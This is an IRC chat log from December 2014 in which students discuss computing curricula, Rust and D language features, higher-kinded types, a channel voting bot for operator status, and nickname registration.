[2014-12-01T16:00:33-0500] <Hyper> they offer both
[2014-12-01T16:00:39-0500] <Hyper> poly is more engineering focused
[2014-12-01T16:00:55-0500] <Hyper> CAS is heavier on the the theory
[2014-12-01T16:01:05-0500] <@awe> Ah, okay.
[2014-12-01T16:01:18-0500] <@awe> That's interesting.
[2014-12-01T16:01:29-0500] <@awe> They should rename the CAS one to Computing then.
[2014-12-01T16:02:25-0500] <@awe> Although, in general, Computer Science should probably be called Computing anyway.
[2014-12-01T16:03:18-0500] • Hyper: points to beginning of first lecture of SICP
[2014-12-01T16:04:12-0500] <@awe> Yup.
[2014-12-01T16:04:26-0500] <@awe> I love that people were talking about the wrongness of the name of our field at the very beginning of it.
[2014-12-01T16:04:38-0500] <Hyper> lol
[2014-12-01T16:04:54-0500] <@awe> There's some work on correcting it.
[2014-12-01T16:05:03-0500] <@awe> In the UK, the curriculum is referred to as computing.
[2014-12-01T16:05:12-0500] <@awe> And it's K-12.
[2014-12-01T16:06:00-0500] <@awe> http://www.computingatschool.org.uk/data/uploads/CASPrimaryComputing.pdf
[2014-12-01T16:08:55-0500] <Hyper> interesting
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[2014-12-01T17:01:09-0500] <+JacobEdelman> aweL Hyper stole your hair from the past apparentely
[2014-12-01T17:01:13-0500] <+JacobEdelman> *awe: 
[2014-12-01T17:01:31-0500] <@awe> Is that so?
[2014-12-01T17:01:44-0500] <+JacobEdelman> yes, its about as long as yours used to be
[2014-12-01T17:01:48-0500] <@awe> Neat.
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[2014-12-01T17:17:18-0500] <+The_Master> .active
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 7, N 2).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-12-01T17:17:18-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-12-01T17:33:28-0500] <+JacobEdelman> .vote 0 yea
[2014-12-01T17:33:28-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-01T17:33:38-0500] <+JacobEdelman> so, awe , why hasn't proposal 0 been passed?
[2014-12-01T17:33:50-0500] <@awe> Needs one more vote.
[2014-12-01T17:33:53-0500] <+JacobEdelman> ...
[2014-12-01T17:34:02-0500] <+JacobEdelman> if that one vote is against will it still be passed?
[2014-12-01T17:34:05-0500] <@awe> No.
[2014-12-01T17:34:11-0500] <@awe> If it's one more vote in favor, it'll pass.
[2014-12-01T17:34:11-0500] <+JacobEdelman> really, oh
[2014-12-01T17:34:56-0500] <+JacobEdelman> Hyper: are you gonna make it so you can connect to multiple servers?
[2014-12-01T17:35:18-0500] <Hyper> JacobEdelman: not sure
[2014-12-01T17:35:21-0500] <Hyper> might at some point
[2014-12-01T17:35:37-0500] <Hyper> would need a server that has consistient uptime that I control xP
[2014-12-01T17:35:37-0500] <+JacobEdelman> does mac have ttys?
[2014-12-01T17:35:52-0500] <Hyper> ttys aren't the issue
[2014-12-01T17:35:55-0500] <+JacobEdelman> ?
[2014-12-01T17:35:59-0500] <+JacobEdelman> whats the issue?
[2014-12-01T17:36:13-0500] <Hyper> the issue is that the version of ZNC I'm using only allows 1 server at a time per user
[2014-12-01T17:36:24-0500] <Hyper> right now I'm just connecting manually via my IRC client
[2014-12-01T17:36:47-0500] <Hyper> (normally my client connects to my ZNC server which connects to freenode, where most of my irc-ing takes place)
[2014-12-01T17:36:59-0500] <+JacobEdelman> wait, so you can connect, just not with a bouncer
[2014-12-01T17:37:21-0500] <+JacobEdelman> right?
[2014-12-01T17:38:23-0500] <Hyper> correct
[2014-12-01T17:38:27-0500] <Hyper> hence my connection being a thing
[2014-12-01T17:40:46-0500] <+JacobEdelman> .... the irc.mibbit.net nickserv is down
[2014-12-01T17:40:53-0500] <+JacobEdelman> long live pdgn
[2014-12-01T17:41:00-0500] <+JacobEdelman> one down, several more to go
[2014-12-01T17:41:13-0500] <+JacobEdelman> (freenode is next, today mibbit, tommorow the world!!!)
[2014-12-01T17:41:36-0500] <Hyper> </3 not my freenode x.x
[2014-12-01T17:45:14-0500] <+JacobEdelman> our nickserv assassins are trained to find the nickservs irl and kill them
[2014-12-01T17:45:25-0500] <+JacobEdelman> (yes, all nickservs are secretly real people)
[2014-12-01T17:49:35-0500] <+JacobEdelman> hmmm... I need more uses for keybase
[2014-12-01T17:49:39-0500] <+JacobEdelman> any ideas people?
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[2014-12-01T18:01:48-0500] <Hyper> JacobEdelman: see, I could set up a bouncer on my Pi, but then I'd only be able to use irc from inside my dorm
[2014-12-01T18:01:50-0500] <Hyper> x.x
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[2014-12-01T18:07:06-0500] <+JacobEdelman> why?
[2014-12-01T18:07:17-0500] <+JacobEdelman> I have a pi too,I should set something up on it
[2014-12-01T18:07:32-0500] <+JacobEdelman> why can't you just use ngrok or whatever to set up a bouncer?
[2014-12-01T18:07:53-0500] <@awe> JacobEdelman: you could build stuff on the keybase API?
[2014-12-01T18:08:24-0500] <@awe> JacobEdelman: Make a plugin for awebot that looks up a person on keybase!
[2014-12-01T18:09:17-0500] <Hyper> JacobEdelman: I might try that
[2014-12-01T18:09:39-0500] <Hyper> better than the literally nothing my pi is doing right now
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[2014-12-01T18:16:18-0500] <@awe> JacobEdelman: Actually, I'm going to build a keybase lookup plugin for awebot.
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[2014-12-01T18:35:58-0500] <@awe> @ddg lol
[2014-12-01T18:35:58-0500] <awebot> awe: https://duckduckgo.com/?q=lol
[2014-12-01T18:36:07-0500] <@awe> Okay, cool. Typedefs don't fuck with dynamic loading.
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[2014-12-01T18:46:53-0500] <+JacobEdelman> Hyper: I've never done anything with my pi, I shoukd
[2014-12-01T18:46:59-0500] <+JacobEdelman> *I should do something...
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[2014-12-01T18:53:05-0500] <@awe> JacobEdelman: you should uhh...
[2014-12-01T18:53:11-0500] <@awe> JacobEdelman: make a car.
[2014-12-01T18:53:18-0500] <+JacobEdelman> wait, what?
[2014-12-01T18:53:23-0500] <+JacobEdelman> with my rpi?
[2014-12-01T18:53:29-0500] <@awe> Yeah.
[2014-12-01T18:53:42-0500] <@awe> You can write the code for it in Rust.
[2014-12-01T18:54:52-0500] <Hyper> no, write it in D
[2014-12-01T18:54:53-0500] <Hyper> <3
[2014-12-01T18:57:26-0500] <Tamini_> who's Hyper?
[2014-12-01T18:57:32-0500] <Hyper> I am me
[2014-12-01T18:57:49-0500] <Hyper> (a guy who knows JacobEdelman and co.)
[2014-12-01T18:58:06-0500] <Tamini_> also what happened to nezorg
[2014-12-01T18:58:12-0500] <+JacobEdelman> (Hyper was my original nerd role model, before awe)
[2014-12-01T18:58:36-0500] <+JacobEdelman> (now I have surpassed them both as I have become a true programming arch-god)
[2014-12-01T18:58:39-0500] <alokpathy> awe: Do you hear that? You're JacobEdelman's role model.
[2014-12-01T18:58:43-0500] <+JacobEdelman> MUHAHAHAHAHA!
[2014-12-01T18:58:49-0500] <+JacobEdelman> (past tense)
[2014-12-01T18:58:53-0500] <@awe> Hyper: D is alright.
[2014-12-01T18:58:57-0500] <+JacobEdelman> (my new role model is scott aaronson)
[2014-12-01T18:59:08-0500] <@awe> Hyper: I think Rust does a better job than D though.
[2014-12-01T18:59:26-0500] <Hyper> awe: there are quite a few features i'm quite fond of, such as good compile-time features and UFCS
[2014-12-01T18:59:34-0500] <@awe> UFCS is coming.
[2014-12-01T18:59:35-0500] <@awe> Don't worry, baby.
[2014-12-01T18:59:39-0500] <Hyper> lol
[2014-12-01T18:59:43-0500] <Hyper> both have their merits
[2014-12-01T18:59:49-0500] <@awe> Actually though, UFCS is an upcoming feature in Rust.
[2014-12-01T18:59:51-0500] <@awe> I'm excited.
[2014-12-01T19:00:07-0500] <Hyper> I haven't played around enough with rust to judge it too much
[2014-12-01T19:00:27-0500] <Hyper> awe: UFCS is a thing that everything should really have
[2014-12-01T19:00:27-0500] <@awe> The services for this network are written in Rust.
[2014-12-01T19:00:34-0500] <Hyper> it's just so useful
[2014-12-01T19:00:36-0500] <@awe> Agreed.
[2014-12-01T19:02:09-0500] <Hyper> see https://github.com/Hypersonic/RageLake/blob/master/source/logger.d#L104
[2014-12-01T19:02:22-0500] <Hyper> that line is so much clearer than it's non UFCS-equivalent
[2014-12-01T19:02:24-0500] <@awe> writeln(evens(divide(multiply(values, 10), 3))) ->  writeln(values.multiply(10).divide(3).evens)
[2014-12-01T19:02:27-0500] <@awe> unf, so sexy.
[2014-12-01T19:02:56-0500] <@awe> Yeah, UFCS is important, for sure.
[2014-12-01T19:03:06-0500] <@awe> I'm also really excited for higher-kind types in Rust.
[2014-12-01T19:03:14-0500] <Hyper> higher-kind?
[2014-12-01T19:03:16-0500] <Hyper> ex?
[2014-12-01T19:03:38-0500] <Hyper> -ample
[2014-12-01T19:04:09-0500] <@awe> I'm going to use Haskell syntax because that's the only other language I know that has it, but:
[2014-12-01T19:04:13-0500] <@awe> class Monad m where ...
[2014-12-01T19:05:08-0500] <@awe> A higher-kind type is a type that uses another type to create a new type.
[2014-12-01T19:05:50-0500] <Hyper> I'm not entirely clear as to what that entails
[2014-12-01T19:06:19-0500] <@awe> It's like the end-all-be-all for abstraction.
[2014-12-01T19:07:27-0500] <@awe> You apply a type to type arguments to make a new type.
[2014-12-01T19:07:39-0500] <Hyper> awe: so basically the ability to use types in your logic?
[2014-12-01T19:07:55-0500] <@awe> It allows you to work generically over more things.
[2014-12-01T19:08:12-0500] <Hyper> mhm
[2014-12-01T19:09:26-0500] <Hyper> looks neat
[2014-12-01T19:09:52-0500] <@awe> Here's something from Scala:
[2014-12-01T19:09:57-0500] <@awe> trait Functor[F[_]] { def map[A, B](fa: F[A])(f: A => B): F[B] }
[2014-12-01T19:11:25-0500] <@awe> Basically, generics allow you to do first-order types.
[2014-12-01T19:11:29-0500] <@awe> Well, traditional generics.
[2014-12-01T19:11:41-0500] <@awe> So, you can have something like List<T>
[2014-12-01T19:11:58-0500] <@awe> But you can't have Functor<F<T>>.
[2014-12-01T19:12:20-0500] <Hyper> F being a function or something?
[2014-12-01T19:13:03-0500] <@awe> F being any other type over another type.
[2014-12-01T19:13:09-0500] <Hyper> ok
[2014-12-01T19:13:17-0500] <@awe> So, one instance of that could be Functor<List<T>>
[2014-12-01T19:13:39-0500] <Hyper> alrighty
[2014-12-01T19:13:40-0500] <@awe> Which will give you the ability to map a function from T to another type over your List<T>.
[2014-12-01T19:14:11-0500] <@awe> Scala makes the syntax really apparent, but really gross.
[2014-12-01T19:14:16-0500] <@awe> In Haskell, it just looks like generics.
[2014-12-01T19:14:34-0500] <@awe> Because in Haskell, there's no difference between a first-order type and a higher-kind type.
[2014-12-01T19:14:42-0500] <@awe> higher-kind/higher-order.
[2014-12-01T19:15:28-0500] <@awe> But yeah, HKT will allow for some crazy generic programming stuff in Rust. So, I'm really excited for that.
[2014-12-01T19:17:39-0500] <Hyper> neat
[2014-12-01T19:17:46-0500] <Hyper> I'll have to play around with rust at some point
[2014-12-01T19:24:18-0500] <@awe> Hyper: If you want to see some substantive but hopefully easy to follow Rust code, you can look at the IRC library I'm maintaining https://github.com/aaronweiss74/irc
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[2014-12-01T19:44:03-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-01T19:44:03-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
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[2014-12-01T19:59:31-0500] <LittleBobbyTables> I want op again :(
[2014-12-01T20:06:29-0500] <+JacobEdelman> no [shudders]
[2014-12-01T20:06:49-0500] <@awe> LittleBobbyTables: when did that pass?
[2014-12-01T20:06:50-0500] <@awe> .active
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 7, N 2).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-12-01T20:06:50-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-12-01T20:06:54-0500] <@awe> LittleBobbyTables: it didn't?
[2014-12-01T20:06:58-0500] <@awe> LittleBobbyTables: why aren't you op?
[2014-12-01T20:07:06-0500] <@awe> LittleBobbyTables: Have you identified and rejoined?
[2014-12-01T20:07:26-0500] <LittleBobbyTables> .retry
[2014-12-01T20:07:29-0500] <LittleBobbyTables> err
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[2014-12-01T20:07:35-0500] Pidgey sets mode +o LittleBobbyTables
[2014-12-01T20:07:39-0500] <@awe> There you go.
[2014-12-01T20:07:41-0500] <+JacobEdelman> uhg!
[2014-12-01T20:07:41-0500] <@LittleBobbyTables> I forgot you have to rejoin
[2014-12-01T20:07:42-0500] <+JacobEdelman> no
[2014-12-01T20:07:42-0500] <@LittleBobbyTables> :/
[2014-12-01T20:07:58-0500] <@awe> LittleBobbyTables: Yeah, I could remedy that, but the code would be a little clunky.
[2014-12-01T20:08:19-0500] <@awe> (It'd be iterating over the channel lists, loading all the channels the user is in, checking if they're an oper, and then oping them if they are).
[2014-12-01T20:08:27-0500] <@awe> And that'd have to happen on identify.
[2014-12-01T20:08:27-0500] LittleBobbyTables sets mode -v JacobEdelman
[2014-12-01T20:08:30-0500] <@LittleBobbyTables> shh
[2014-12-01T20:08:33-0500] <@awe> lol.
[2014-12-01T20:08:37-0500] <@awe> .vote 0 yea
[2014-12-01T20:08:37-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-01T20:08:37-0500] <JacobEdelman> ...
[2014-12-01T20:08:40-0500] <JacobEdelman> ...
[2014-12-01T20:08:45-0500] <@LittleBobbyTables> lol
[2014-12-01T20:08:49-0500] <JacobEdelman> awe, voice me!
[2014-12-01T20:08:50-0500] awe sets mode +v JacobEdelman
[2014-12-01T20:08:54-0500] <+JacobEdelman> .vote 0 yea
[2014-12-01T20:08:54-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-01T20:08:58-0500] <+JacobEdelman> hmmm...
[2014-12-01T20:08:59-0500] <@LittleBobbyTables> :(
[2014-12-01T20:09:01-0500] <+JacobEdelman> voice Hyper
[2014-12-01T20:09:04-0500] awe sets mode +v Hyper
[2014-12-01T20:09:04-0500] Pidgey sets mode -v Hyper
[2014-12-01T20:09:04-0500] <+JacobEdelman> hes legit
[2014-12-01T20:09:05-0500] <@LittleBobbyTables> I was holding him hostage!
[2014-12-01T20:09:09-0500] <+JacobEdelman> ...
[2014-12-01T20:09:09-0500] <@awe> Hyper: go register your nick
[2014-12-01T20:09:30-0500] <@awe> Hyper: /pm Pidgey NS REGISTER password [email]
[2014-12-01T20:10:11-0500] awe sets mode +v Hyper
[2014-12-01T20:10:11-0500] Pidgey sets mode -v Hyper
[2014-12-01T20:10:15-0500] <@awe> :(
[2014-12-01T20:10:56-0500] <+JacobEdelman> (i don't think he's on right now)
[2014-12-01T20:11:01-0500] <@awe> Yeah, I guess not.
[2014-12-01T20:11:29-0500] <@awe> Hyper: If you do that at some point, let me know and I'll voice you. It gives you access to our voting system here.
[2014-12-01T20:11:43-0500] <Hyper> kay
[2014-12-01T20:11:47-0500] <@awe> Oh, you're here.
[2014-12-01T20:11:57-0500] <@awe> Yeah, go register your nick.
[2014-12-01T20:12:00-0500] <@awe> Then you can vote for stuff.
[2014-12-01T20:12:10-0500] <Hyper> yeah
[2014-12-01T20:12:15-0500] <Hyper> sorry, playing hearthstone xP
[2014-12-01T20:12:16-0500] awe sets mode +v Hyper
[2014-12-01T20:12:16-0500] Pidgey sets mode -v Hyper
[2014-12-01T20:12:20-0500] <@awe> Ah.
[2014-12-01T20:12:21-0500] <Hyper> very focused
[2014-12-01T20:12:23-0500] <Hyper> lol
[2014-12-01T20:12:25-0500] <@awe> I'm not very good at hearthstone, unfortunately.
[2014-12-01T20:12:36-0500] <@LittleBobbyTables> How can you be bad at hearthstone
[2014-12-01T20:12:37-0500] <@awe> I tried, and then gave up when I kept losing.
[2014-12-01T20:12:56-0500] <+JacobEdelman> I have freinds who play heartstrone, but I don't think I can get it on linux
[2014-12-01T20:13:04-0500] <@awe> It's in C#.
[2014-12-01T20:13:11-0500] <@awe> It might work in Mono?
[2014-12-01T20:13:13-0500] <@awe> I don't know.
[2014-12-01T20:13:16-0500] <@LittleBobbyTables> Notwell.
[2014-12-01T20:13:24-0500] <@LittleBobbyTables> You can get it soon, though.
[2014-12-01T20:13:26-0500] <@awe> You could write your own client.
[2014-12-01T20:13:30-0500] <Hyper> lol
[2014-12-01T20:13:38-0500] <@awe> It's really easy since it's in a .NET language.
[2014-12-01T20:13:38-0500] <Hyper> i'm sure that violates the TOS
[2014-12-01T20:13:42-0500] <@awe> Hyper: Who cares?
[2014-12-01T20:13:53-0500] <@awe> Hyper: I got into programming through maplestory emulation.
[2014-12-01T20:13:55-0500] <Hyper> the people wiht banhammers
[2014-12-01T20:14:04-0500] <@awe> Eh, make throw-away accounts.
[2014-12-01T20:14:15-0500] <Hyper> I guess
[2014-12-01T20:14:18-0500] <@awe> Plus, if you make it well enough, they could never know.
[2014-12-01T20:14:46-0500] <@awe> Just got to make sure you update your client every time there's an update.
[2014-12-01T20:14:47-0500] <+JacobEdelman> (awe is on an irc channell full of serious oldish people, being all mature and all that, which is for a maple story emulator...)
[2014-12-01T20:14:54-0500] <@awe> oldish people.
[2014-12-01T20:14:59-0500] <@awe> They're mostly in Uni.
[2014-12-01T20:15:09-0500] <+JacobEdelman> so, thats like, ancient 
[2014-12-01T20:15:09-0500] <@awe> Although, they're mostly in grad school at this point.
[2014-12-01T20:15:33-0500] <@awe> There's only a couple people in the work force, one of whom is barely older than I am.
[2014-12-01T20:16:11-0500] <Hyper> lol
[2014-12-01T20:16:56-0500] <+JacobEdelman> Hyper, register
[2014-12-01T20:17:00-0500] <+JacobEdelman> so that awe can voice you
[2014-12-01T20:17:02-0500] <Hyper> I think I just did?
[2014-12-01T20:17:03-0500] <+JacobEdelman> and you can vote
[2014-12-01T20:17:08-0500] <+JacobEdelman> awe, voice him
[2014-12-01T20:17:12-0500] awe sets mode +v Hyper
[2014-12-01T20:17:12-0500] Pidgey sets mode -v Hyper
[2014-12-01T20:17:14-0500] <@awe> No.
[2014-12-01T20:17:24-0500] <+JacobEdelman> ...? are you identified?
[2014-12-01T20:17:27-0500] <Hyper> oh
[2014-12-01T20:17:28-0500] <Hyper> lol
[2014-12-01T20:17:31-0500] <@awe> You auto-identify after registering.
[2014-12-01T20:17:54-0500] <Hyper> /pm Pidgey NS REGISTER hunter2 ***@gmail.com
[2014-12-01T20:17:56-0500] <Hyper> right?
[2014-12-01T20:18:07-0500] <@awe> You can omit the email if you're so inclined, but yeah.
[2014-12-01T20:18:10-0500] <+JacobEdelman> .... wait, is hunter2 your password?
[2014-12-01T20:18:13-0500] <@awe> Hopefully hunter2 isn't actually your password.
[2014-12-01T20:18:22-0500] <Hyper> It shows up as stars for me :P
[2014-12-01T20:18:23-0500] <Hyper> no
[2014-12-01T20:18:24-0500] <Hyper> it's not
[2014-12-01T20:18:27-0500] <Hyper> I'm not stupid.
[2014-12-01T20:18:35-0500] <+JacobEdelman> awe once posted my password, on the public irc...
[2014-12-01T20:18:42-0500] <Hyper> lol
[2014-12-01T20:18:45-0500] <@awe> In all fairness, that was: a) your fault, b) I didn't know it was your password.
[2014-12-01T20:18:48-0500] <Hyper> awe: /msg not /pm
[2014-12-01T20:18:49-0500] <+JacobEdelman> (he had the cleartext cause I accidentally put it in as the email for something)
[2014-12-01T20:18:55-0500] <@awe> Hyper: depends on the client, sorry.
[2014-12-01T20:18:59-0500] <Hyper> awe: ok reg'd
[2014-12-01T20:19:00-0500] <@awe> Hyper: All the ones I've ever used use /msg.
[2014-12-01T20:19:02-0500] awe sets mode +v Hyper
[2014-12-01T20:19:06-0500] <+JacobEdelman> now Hyper
[2014-12-01T20:19:09-0500] <+JacobEdelman> .vote yea 0
[2014-12-01T20:19:09-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-01T20:19:14-0500] <@awe> yeah, JacobEdelman did NS REGISTER password password
[2014-12-01T20:19:15-0500] <+Hyper> .vote
[2014-12-01T20:19:21-0500] <@awe> .active
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 7, N 2).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-12-01T20:19:21-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-12-01T20:19:25-0500] <+Hyper> ah
[2014-12-01T20:19:34-0500] <@awe> To vote in a proposal, you write .vote # <yea/nay>
[2014-12-01T20:19:34-0500] <+Hyper> .help
[2014-12-01T20:19:46-0500] <@awe> There's no help, though there probably should be.
[2014-12-01T20:19:48-0500] <+Hyper> q.q
[2014-12-01T20:19:57-0500] <+JacobEdelman> .help will never be implemented, just to mess with people
[2014-12-01T20:19:59-0500] <@awe> I'm so lazy. The service bot has no form of help at all.
[2014-12-01T20:20:03-0500] <+Hyper> .vote 0 yea
[2014-12-01T20:20:03-0500] <&Pidgey> Vote issued.
[2014-12-01T20:20:03-0500] Pidgey sets mode -o LittleBobbyTables
[2014-12-01T20:20:03-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-12-01T20:20:09-0500] <+Hyper> lol
[2014-12-01T20:20:11-0500] <@awe> This is an issue though.
[2014-12-01T20:20:13-0500] <@awe> We have one less op now.
[2014-12-01T20:20:17-0500] <@awe> But nobody is close to winning.
[2014-12-01T20:20:24-0500] <+Hyper> xP
[2014-12-01T20:20:32-0500] <@awe> We're currently having elections for oper.
[2014-12-01T20:20:33-0500] <+JacobEdelman> hmmm
[2014-12-01T20:20:36-0500] <+JacobEdelman> .vote yea 1
[2014-12-01T20:20:36-0500] <&Pidgey> 1 is not a valid vote.
[2014-12-01T20:20:39-0500] <+JacobEdelman> .vote 1 yea
[2014-12-01T20:20:39-0500] <&Pidgey> Vote issued.
[2014-12-01T20:20:39-0500] <LittleBobbyTables> WAOW
[2014-12-01T20:20:41-0500] <@awe> In it, Hcnsh also decided to make a proposal to deop me.
[2014-12-01T20:20:41-0500] <LittleBobbyTables> so mean
[2014-12-01T20:20:48-0500] <@awe> But that's not going to happen.
[2014-12-01T20:20:51-0500] <LittleBobbyTables> wHY YOU DO THAT HYPER
[2014-12-01T20:20:52-0500] <+Hyper> !derp
[2014-12-01T20:20:52-0500] <&Pidgey> There have been 21 derps.
[2014-12-01T20:20:54-0500] <LittleBobbyTables> caps
[2014-12-01T20:20:55-0500] <LittleBobbyTables> :/
[2014-12-01T20:20:55-0500] <+Hyper> !derp
[2014-12-01T20:20:55-0500] <&Pidgey> There have been 21 derps.
[2014-12-01T20:21:00-0500] <LittleBobbyTables> But, why you do that hyper.
[2014-12-01T20:21:02-0500] <+Hyper> LittleBobbyTables: they told me to!
[2014-12-01T20:21:04-0500] <@awe> Hyper: !derp++ to add one.
[2014-12-01T20:21:06-0500] <LittleBobbyTables> :(
[2014-12-01T20:21:10-0500] <@awe> But only do it if somebody fucks up.
[2014-12-01T20:21:18-0500] <LittleBobbyTables> If they told you to jump off a bridge would you do that?
[2014-12-01T20:21:18-0500] <+JacobEdelman> I should introduce you people
[2014-12-01T20:21:18-0500] <@awe> .propose oper LittleBobbyTables
[2014-12-01T20:21:18-0500] <&Pidgey> Proposal 9 is live.
[2014-12-01T20:21:23-0500] <+JacobEdelman> LBT: hyper is a dude in college
[2014-12-01T20:21:28-0500] <LittleBobbyTables> .vote 9 yea
[2014-12-01T20:21:28-0500] <&Pidgey> Vote issued.
[2014-12-01T20:21:29-0500] <+JacobEdelman> hyper: LBT is a dude in college
[2014-12-01T20:21:30-0500] <@awe> LittleBobbyTables: there, now you can run for oper like everyone else.
[2014-12-01T20:21:31-0500] <+JacobEdelman> there
[2014-12-01T20:21:37-0500] <+JacobEdelman> introductions done
[2014-12-01T20:21:42-0500] <LittleBobbyTables> They'll all vote no :(
[2014-12-01T20:21:46-0500] <LittleBobbyTables> Hyper how old are you
[2014-12-01T20:21:46-0500] <+JacobEdelman> correct
[2014-12-01T20:21:50-0500] • awe: shrugs.
[2014-12-01T20:21:54-0500] <+JacobEdelman> your reign of terror is over LittleBobbyTables 
[2014-12-01T20:22:01-0500] <LittleBobbyTables> I didn't even do anything
[2014-12-01T20:22:02-0500] <+JacobEdelman> hyper is 78 years old
[2014-12-01T20:22:04-0500] <LittleBobbyTables> How is that terror
[2014-12-01T20:22:07-0500] <+JacobEdelman> so, thats like
[2014-12-01T20:22:08-0500] <LittleBobbyTables> Damn, he's older then
[2014-12-01T20:22:11-0500] <LittleBobbyTables> 31 years
[2014-12-01T20:22:11-0500] <+JacobEdelman> 4 years older than you
[2014-12-01T20:22:13-0500] <+Hyper> I've been in college a long time, man
[2014-12-01T20:22:28-0500] <+Hyper> 60 long years
[2014-12-01T20:22:39-0500] <+Hyper> (I'm actually 19)
[2014-12-01T20:22:40-0500] <LittleBobbyTables> Why couldn't we be college buddies?
[2014-12-01T20:22:46-0500] <LittleBobbyTables> Ya gotta go and do what they say
[2014-12-01T20:22:47-0500] <LittleBobbyTables> r00d
[2014-12-01T20:22:53-0500] <@awe> Hyper: are you a first-year?
[2014-12-01T20:22:56-0500] <+Hyper> yeah
[2014-12-01T20:23:51-0500] <+Hyper> awe: oh god this command code is uuugh
[2014-12-01T20:24:01-0500] <@awe> Hyper: Imagine how I felt writing it. lol
[2014-12-01T20:24:17-0500] <+Hyper> Does rust have anonymous functions?
[2014-12-01T20:24:56-0500] <+Hyper> yes, it does
[2014-12-01T20:26:56-0500] <+JacobEdelman> hmmm... awe, can you make an altcoin for pdgn :P ?
[2014-12-01T20:27:02-0500] <@awe> I considered it.
[2014-12-01T20:27:04-0500] <@awe> Hyper: Of course.
[2014-12-01T20:27:11-0500] <@awe> Hyper: it has higher-order functions, closures, etc.
[2014-12-01T20:27:37-0500] <@awe> JacobEdelman: do you want an invite to oneplus?
[2014-12-01T20:28:13-0500] <@awe> JacobEdelman: My friend got one.
[2014-12-01T20:28:27-0500] <+JacobEdelman> yes
[2014-12-01T20:28:28-0500] <+JacobEdelman> please
[2014-12-01T20:28:34-0500] <+JacobEdelman> wait
[2014-12-01T20:28:39-0500] <+JacobEdelman> is their a timer on using the invite?
[2014-12-01T20:29:20-0500] <@awe> I don't know.
[2014-12-01T20:29:29-0500] <+JacobEdelman> find out
[2014-12-01T20:29:31-0500] <+JacobEdelman> gtg
[2014-12-01T20:30:13-0500] <@awe> They do.
[2014-12-01T20:31:20-0500] <@awe> LittleBobbyTables: http://www.microsoftstore.com/store/msusa/en_US/pdp/AT-T---Nokia-Lumia-635-Black---No-Contract/productID.307448000
[2014-12-01T20:33:09-0500] <LittleBobbyTables> Just because I'm not poor doesn't mean I want to buy everything.
[2014-12-01T20:33:46-0500] <alokpathy> LittleBobbyTables: Isn't that exactly what it means?
[2014-12-01T20:33:57-0500] <LittleBobbyTables> No.
[2014-12-01T20:34:11-0500] <LittleBobbyTables> Why not buy the 4k monitor for 300 bucks instead?
[2014-12-01T20:41:14-0500] <@awe> LittleBobbyTables: I was just showing you. It's cheap.
[2014-12-01T20:41:22-0500] <@awe> LittleBobbyTables: you should transfer money to my paypal though. ;)
[2014-12-01T20:41:39-0500] <LittleBobbyTables> I'll give you a penny for every dime you give me.
[2014-12-01T20:51:17-0500] <+JacobEdelman> if I had a dime for everytime somebody said that
[2014-12-01T20:51:21-0500] <+JacobEdelman> I'd have one dime
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[2014-12-01T20:53:10-0500] <@awe> @keybase
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[2014-12-01T20:53:13-0500] <@awe> Lol.
[2014-12-01T20:54:04-0500] <+JacobEdelman> ...
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[2014-12-01T20:54:15-0500] <@awe> @keybase
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[2014-12-01T20:54:55-0500] <+JacobEdelman> I wanna move to austin
[2014-12-01T20:54:56-0500] <+JacobEdelman> https://fiber.google.com/cities/austin/home/
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[2014-12-01T20:55:10-0500] <@awe> Oh, I'm dumb.
[2014-12-01T20:55:13-0500] <@awe> @keybase awe
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[2014-12-01T20:55:18-0500] <@awe> There we go.
[2014-12-01T20:55:22-0500] <+JacobEdelman> ...
[2014-12-01T20:55:38-0500] <@awe> Different things happened, don't worry.
[2014-12-01T20:57:04-0500] <+JacobEdelman> @keybase jac
[2014-12-01T21:00:45-0500] <+sdamashek> alokpathy: are you an easyctf guy?
[2014-12-01T21:02:06-0500] <alokpathy> sdamashek: semi
[2014-12-01T21:02:17-0500] <alokpathy> Helping out.
[2014-12-01T21:02:24-0500] <+JacobEdelman> alokpathy and I help out cause why not
[2014-12-01T21:02:36-0500] <+JacobEdelman> I made "Guessing is Hard"
